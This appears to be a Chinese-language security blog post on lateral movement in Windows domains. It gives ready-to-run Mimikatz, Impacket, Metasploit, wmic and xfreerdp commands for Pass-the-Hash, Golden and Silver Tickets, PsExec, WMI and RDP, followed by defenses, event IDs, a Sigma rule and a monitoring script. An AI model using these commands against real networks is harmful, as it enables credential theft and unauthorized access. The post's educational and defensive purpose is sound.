內網橫向移動技術與防禦

Lateral Movement Techniques and Defense Strategies

橫向移動概述

橫向移動(Lateral Movement)是攻擊者在成功突破邊界防線後,在內網中擴展存取權限的關鍵階段。這個階段通常發生在攻擊鏈的中期,攻擊者已經取得初始立足點,開始探索內網資源並嘗試存取更多系統。

攻擊鏈中的位置

根據 MITRE ATT&CK 框架,橫向移動位於攻擊鏈的第八階段:

  1. 偵察 - 收集目標資訊
  2. 資源開發 - 建立攻擊基礎設施
  3. 初始存取 - 突破邊界防線
  4. 執行 - 執行惡意程式碼
  5. 持久化 - 建立後門
  6. 權限提升 - 取得更高權限
  7. 防禦規避 - 躲避安全偵測
  8. 橫向移動 - 存取其他內網系統
  9. 資料收集 - 識別並收集敏感資料
  10. 資料外洩 - 將資料傳出組織

常見橫向移動技術

1. Pass-the-Hash (PtH) 攻擊

Pass-the-Hash 是一種不需要知道明文密碼即可進行身份驗證的攻擊技術。攻擊者利用 NTLM 雜湊值直接進行身份驗證。

攻擊原理

Windows NTLM 認證協定在驗證過程中使用密碼的雜湊值而非明文密碼,這使得攻擊者只需取得雜湊值即可冒充合法使用者。

攻擊範例

使用 Mimikatz 提取雜湊值:

1
2
3
4
5
6
# 提取本地 SAM 資料庫中的雜湊值
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

# 使用 PtH 攻擊
mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:a87f3a337d73085c45f9416be5787d86

使用 Impacket 進行 PtH:

1
2
3
4
5
# 使用 psexec.py 進行遠端執行
python3 psexec.py -hashes :a87f3a337d73085c45f9416be5787d86 corp.local/Administrator@192.168.1.100

# 使用 wmiexec.py
python3 wmiexec.py -hashes :a87f3a337d73085c45f9416be5787d86 corp.local/Administrator@192.168.1.100

2. Pass-the-Ticket (PtT) 攻擊

Pass-the-Ticket 利用 Kerberos 票據進行身份驗證,攻擊者可以偷取或偽造 Kerberos 票據來存取資源。

Golden Ticket 攻擊

Golden Ticket 需要取得 krbtgt 帳戶的雜湊值,可用於偽造任意使用者的 TGT:

1
2
3
4
5
# 取得 krbtgt 雜湊值(需要 Domain Admin 權限)
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# 創建 Golden Ticket
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:a87f3a337d73085c45f9416be5787d86 /ptt

Silver Ticket 攻擊

Silver Ticket 針對特定服務,需要該服務帳戶的雜湊值:

1
2
# 創建 Silver Ticket(針對 CIFS 服務)
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:fileserver.corp.local /service:cifs /rc4:a87f3a337d73085c45f9416be5787d86 /ptt

3. PsExec 遠端執行

PsExec 是 Sysinternals 工具套件中的合法工具,但常被攻擊者濫用於橫向移動。

攻擊範例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# 使用 Impacket psexec
python3 psexec.py corp.local/Administrator:Password123@192.168.1.100

# 使用 Metasploit
msfconsole
use exploit/windows/smb/psexec
set RHOSTS 192.168.1.100
set SMBUser Administrator
set SMBPass Password123
exploit

運作原理

  1. 透過 SMB 連接到目標的 ADMIN$ 共享
  2. 上傳服務執行檔
  3. 建立並啟動 Windows 服務
  4. 服務執行命令並回傳結果
  5. 清理服務和檔案

4. WMI 遠端執行

Windows Management Instrumentation (WMI) 可用於遠端管理和命令執行。

攻擊範例

1
2
3
4
5
6
# 使用 wmic 命令
wmic /node:192.168.1.100 /user:Administrator /password:Password123 process call create "cmd.exe /c whoami > C:\temp\output.txt"

# 使用 PowerShell
$cred = Get-Credential
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName 192.168.1.100 -Credential $cred

使用 Impacket:

1
python3 wmiexec.py corp.local/Administrator:Password123@192.168.1.100

5. RDP 遠端桌面

Remote Desktop Protocol (RDP) 是 Windows 內建的遠端桌面協定,攻擊者可利用竊取的憑證進行連線。

RDP 橫向移動

1
2
3
4
5
# Linux 使用 xfreerdp
xfreerdp /v:192.168.1.100 /u:Administrator /p:Password123 /cert-ignore

# 使用 Pass-the-Hash(Restricted Admin 模式)
xfreerdp /v:192.168.1.100 /u:Administrator /pth:a87f3a337d73085c45f9416be5787d86 /cert-ignore

啟用 Restricted Admin 模式

1
2
# 在目標主機上啟用
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0

防禦策略與偵測

憑證保護

  1. 啟用 Credential Guard

    1
    2
    
    # 檢查 Credential Guard 狀態
    Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
    
  2. 設定 Protected Users 群組

    • 將高權限帳戶加入 Protected Users 安全群組
    • 此群組成員不能使用 NTLM 驗證
  3. 限制 NTLM 使用

    1
    2
    3
    
    # 群組原則設定
    # Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
    # Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers
    

網路分段

  1. 實施最小權限原則

    • 限制工作站之間的直接通訊
    • 使用防火牆規則阻止不必要的 SMB/RDP 流量
  2. 隔離敏感系統

    1
    2
    
    # Windows 防火牆規則範例
    New-NetFirewallRule -DisplayName "Block SMB Inbound" -Direction Inbound -Protocol TCP -LocalPort 445 -Action Block
    

特權存取管理

  1. 實施 PAM 解決方案
  2. 使用時間限制的管理員權限
  3. 定期輪換服務帳戶密碼

監控與告警

關鍵事件 ID 監控

事件 ID描述重要性
4624成功登入監控 Type 3, 10 登入
4625登入失敗偵測暴力破解
4648明確憑證登入可能的 PtH 指標
4768Kerberos TGT 請求Golden Ticket 偵測
4769Kerberos 服務票據請求Silver Ticket 偵測
7045新服務安裝PsExec 偵測

SIEM 偵測規則範例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# Sigma 規則 - 偵測 PsExec
title: PsExec Service Installation
status: experimental
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7045
        ServiceName|contains: 'PSEXEC'
    condition: selection
falsepositives:
    - Legitimate admin activity
level: high

PowerShell 監控腳本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# 監控可疑的橫向移動活動
$events = Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4624
    StartTime = (Get-Date).AddHours(-24)
} | Where-Object {
    $_.Properties[8].Value -eq 3 -or  # Network logon
    $_.Properties[8].Value -eq 10     # RemoteInteractive (RDP)
}

$events | Select-Object TimeCreated,
    @{N='SourceIP';E={$_.Properties[18].Value}},
    @{N='Username';E={$_.Properties[5].Value}},
    @{N='LogonType';E={$_.Properties[8].Value}}

參考資料

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy